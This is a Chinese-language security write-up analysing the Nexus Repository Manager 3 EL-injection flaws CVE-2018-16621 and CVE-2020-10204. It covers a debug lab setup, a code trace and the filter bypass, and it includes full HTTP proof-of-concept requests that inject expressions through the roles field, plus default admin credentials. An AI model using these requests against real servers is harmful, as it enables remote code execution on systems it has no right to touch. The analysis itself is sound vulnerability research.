Nexus Repository OSS是一款通用的软件包仓库管理(Universal Repository Manager)服务。
Sonatype Nexus Repository Manager 3中的涉及漏洞的接口为/service/extdirect
,接口需要管理员账户权限进行访问。该接口中处理请求时的UserComponent
对象的注解的校验中使用EL引擎渲染,可以在访问接口时发送精心构造的恶意JSON
数据,造成EL
表达式注入进而远程执行任意命令。
CVE-2018-16621、CVE-2020-10204两个编号触发点和原理相同,可以算作同一漏洞,但CVE-2020-10204为CVE-2018-16621修复后的绕过漏洞。
影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.13
修复版本:Nexus Repository Manager OSS/Pro 3.14
风险:高 -- 7.1
权限:管理员帐号
Github下载Nexus
源码:
git clone https://github.com/sonatype/nexus-public.git
并且切换至包含漏洞的 3.13.0-01
分支:
cd nexus-public
git checkout -f -b release-3.13.0-01 remotes/origin/release-3.13.0-01
拉取包含漏洞且与源码版本相同的nexus3镜像:
docker pull sonatype/nexus3:3.13.0
运行docker容器
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.13.0
-p 5050:5050
,为JDWP调试端口映射-v /Users/rai4over/Desktop/nexus-data:/nexus-data
,为nexus
数据目录INSTALL4J_ADD_VM_PARAMS
,为动态调试参数-p 8081:8081
,为Web管理端口映射IDEA配置远程调试信息
DEBUG端口成功后,发送任意请求可以在org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter
进行断点
首先登录管理员账户,默认账号密码为admin/admin123
,获取NXSESSIONID=97190be5-5ed3-4391-93f4-41d0d6301cd1
,然后带着Cookie发送恶意请求:
POST /service/extdirect HTTP/1.1 Host: test.com:8081 Content-Length: 276 Pragma: no-cache Cache-Control: no-cache X-Requested-With: XMLHttpRequest X-Nexus-UI: true User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://test.com:8081 Referer: http://test.com:8081/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: NXSESSIONID=97190be5-5ed3-4391-93f4-41d0d6301cd1 Connection: close { "action": "coreui_User", "method": "update", "data": [{ "userId": "admin", "version": "2", "firstName": "admin", "lastName": "User", "email": "[email protected]", "status": "active", "roles": ["exp|${222*6}|"] }], "type": "rpc", "tid": 11 }
表达式执行成功
从对原生HttpServlet类重写的service开始入手
javax.servlet.http.HttpServlet#service(javax.servlet.ServletRequest, javax.servlet.ServletResponse)
javax.servlet.http.HttpServlet#service(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)
因为通过req.getMethod()
获取的请求方式为POST
,进入对应的分支,当前请求对象信息为:
一路跟进到doPost
函数
com.softwarementors.extjs.djn.servlet.DirectJNgineServlet#doPost
通过getFromRequestContentType
得到请求类型为JSON
,然后传入processRequest
函数。
com.softwarementors.extjs.djn.servlet.DirectJNgineServlet#processRequest
进入对应的JSON
分支,跟进到关键点。
com.softwarementors.extjs.djn.router.processor.standard.json.JsonRequestProcessor#processIndividualRequest
此处开始解析JSON
数据,通过request.getAction()
获得action
为coreui_User
,通过request.getAction()
获得method
为update
,通过getIndividualRequestParameters
函数解析出data
中的数据。
接着将解析好的数据传入dispatchStandardMethod
,开始进行调度。
com.softwarementors.extjs.djn.router.processor.standard.StandardRequestProcessorBase#dispatchStandardMethod
com.softwarementors.extjs.djn.router.dispatcher.DispatcherBase#dispatch
可以很明显的看出通过反射进行处理请求,传参并实例化对象,继续跟进。
com.softwarementors.extjs.djn.router.dispatcher.DispatcherBase#invokeJavaMethod
直接跟到最后的原生反射处,反射调用了UserComponent
的update
函数
org.sonatype.nexus.coreui.UserComponent#update
UserComponent#update
使用了@Validate
注解,看看对注解的处理方式
org.sonatype.nexus.validation.internal.ValidationInterceptor
反射取出注解validate
,然后传入validateParameters
org.sonatype.nexus.validation.internal.ValidationInterceptor#validateParameters
这时候对传入的各个参数进行校验,看看roles
成员是如何定义和校验的
org.sonatype.nexus.coreui.UserXO#roles
可以看到roles
有注解@RolesExist
,跟进去
org.sonatype.nexus.security.role.RolesExist
跟进@Constraint
注解中的RolesExistValidator
类
public class RolesExistValidator extends ConstraintValidatorSupport<RolesExist, Collection<?>> // Collection<String> expected { private final AuthorizationManager authorizationManager; @Inject public RolesExistValidator(final SecuritySystem securitySystem) throws NoSuchAuthorizationManagerException { this.authorizationManager = checkNotNull(securitySystem).getAuthorizationManager(AuthorizationManagerImpl.SOURCE); } @Override public boolean isValid(final Collection<?> value, final ConstraintValidatorContext context) { log.trace("Validating roles exist: {}", value); List<Object> missing = new LinkedList<>(); for (Object item : value) { try { authorizationManager.getRole(String.valueOf(item)); } catch (NoSuchRoleException e) { missing.add(item); } } if (missing.isEmpty()) { return true; } context.disableDefaultConstraintViolation(); context.buildConstraintViolationWithTemplate("Missing roles: " + missing) .addConstraintViolation(); return false; } }
重写了isValid函数,在isValid中打好断点,能够成功断下。
此时重要的的是将恶意表达式作为参数传入了context.buildConstraintViolationWithTemplate
,并且接着调用了executionContext.createConstraintViolations
。
/Users/rai4over/.m2/repository/org/hibernate/hibernate-validator/5.1.2.Final/hibernate-validator-5.1.2.Final-sources.jar!/org/hibernate/validator/internal/engine/constraintvalidation/ConstraintTree.java:291
调用栈很长,层层跟进到解析EL表达式的模块,执行注入的JAVA代码
com.sun.el.ValueExpressionImpl#getValue
表达式成功执行,最从update开始的调用栈为:
getValue:225, ValueExpressionImpl (com.sun.el) interpolateExpressionLanguageTerm:112, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation) interpolate:90, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation) interpolateExpression:342, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation) interpolateMessage:298, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation) interpolate:182, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation) interpolate:362, ValidationContext (org.hibernate.validator.internal.engine) createConstraintViolation:271, ValidationContext (org.hibernate.validator.internal.engine) createConstraintViolations:232, ValidationContext (org.hibernate.validator.internal.engine) validateSingleConstraint:291, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation) validateConstraints:133, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation) validateConstraints:91, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation) validateConstraint:83, MetaConstraint (org.hibernate.validator.internal.metadata.core) validateConstraint:547, ValidatorImpl (org.hibernate.validator.internal.engine) validateConstraintsForNonDefaultGroup:511, ValidatorImpl (org.hibernate.validator.internal.engine) validateConstraintsForCurrentGroup:448, ValidatorImpl (org.hibernate.validator.internal.engine) validateInContext:403, ValidatorImpl (org.hibernate.validator.internal.engine) validateCascadedConstraint:723, ValidatorImpl (org.hibernate.validator.internal.engine) validateCascadedConstraints:601, ValidatorImpl (org.hibernate.validator.internal.engine) validateParametersInContext:992, ValidatorImpl (org.hibernate.validator.internal.engine) validateParameters:300, ValidatorImpl (org.hibernate.validator.internal.engine) validateParameters:254, ValidatorImpl (org.hibernate.validator.internal.engine) validateParameters:65, ValidationInterceptor (org.sonatype.nexus.validation.internal) invoke:51, ValidationInterceptor (org.sonatype.nexus.validation.internal) proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal) proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop) invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop) invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop) proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal) proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop) invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop) invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop) proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal) intercept:55, InterceptorStackCallback (com.google.inject.internal) update:-1, UserComponent$$EnhancerByGuice$$f1ce12bd (org.sonatype.nexus.coreui)
使用了stripJavaEl
进行了过滤。
org.sonatype.nexus.common.template.EscapeHelper#stripJavaEl
过滤方式为对${
进行替换为{
。
影响版本:Nexus Repository Manager OSS/Pro 3.x -3.21.1
修复版本:Nexus Repository Manager OSS/Pro 3.21.2
风险:紧急 -- 9.1
权限:管理员帐号
并且切换至包含漏洞的 3.14.0-04
分支:
cd nexus-public
git checkout -f -b release-3.14.0-04 remotes/origin/release-3.14.0-04
拉取包含漏洞且与源码版本相同的nexus3镜像:
docker pull sonatype/nexus3:3.14.0
运行docker容器
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.14.0
操作方式和前面一样的
POC
POST /service/extdirect HTTP/1.1 Host: test.com:8081 Content-Length: 279 X-Requested-With: XMLHttpRequest X-Nexus-UI: true User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 NX-ANTI-CSRF-TOKEN: 730b1b90-7cbd-48cc-8072-833c0ee427e5 Content-Type: application/json Accept: */* Origin: http://test.com:8081 Referer: http://test.com:8081/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: NX-ANTI-CSRF-TOKEN=730b1b90-7cbd-48cc-8072-833c0ee427e5; NXSESSIONID=abf34c15-f276-4a5d-8dd3-14d623f67e6b Connection: close { "action": "coreui_User", "method": "create", "data": [{ "userId": "admin", "version": "2", "firstName": "admin", "lastName": "User", "email": "[email protected]", "status": "active", "roles": ["exp|$\\A{2*333}|"] }], "type": "rpc", "tid": 11 }
执行结果
这里操作更换为create
一样触发,并且表达式变为exp|$\\A{2*333}|
成功绕过。
恶意表达式exp|$\\A{2*333}|
不会被value.replaceAll("\\$+\\{", "{")
进行替换,但是仍然能够执行。
org/sonatype/nexus/security/role/RolesExistValidator.java:64
恶意表达式依旧能够作为参数传入buildConstraintViolationWithTemplate
函数。
https://support.sonatype.com/hc/en-us/articles/360044356194
https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204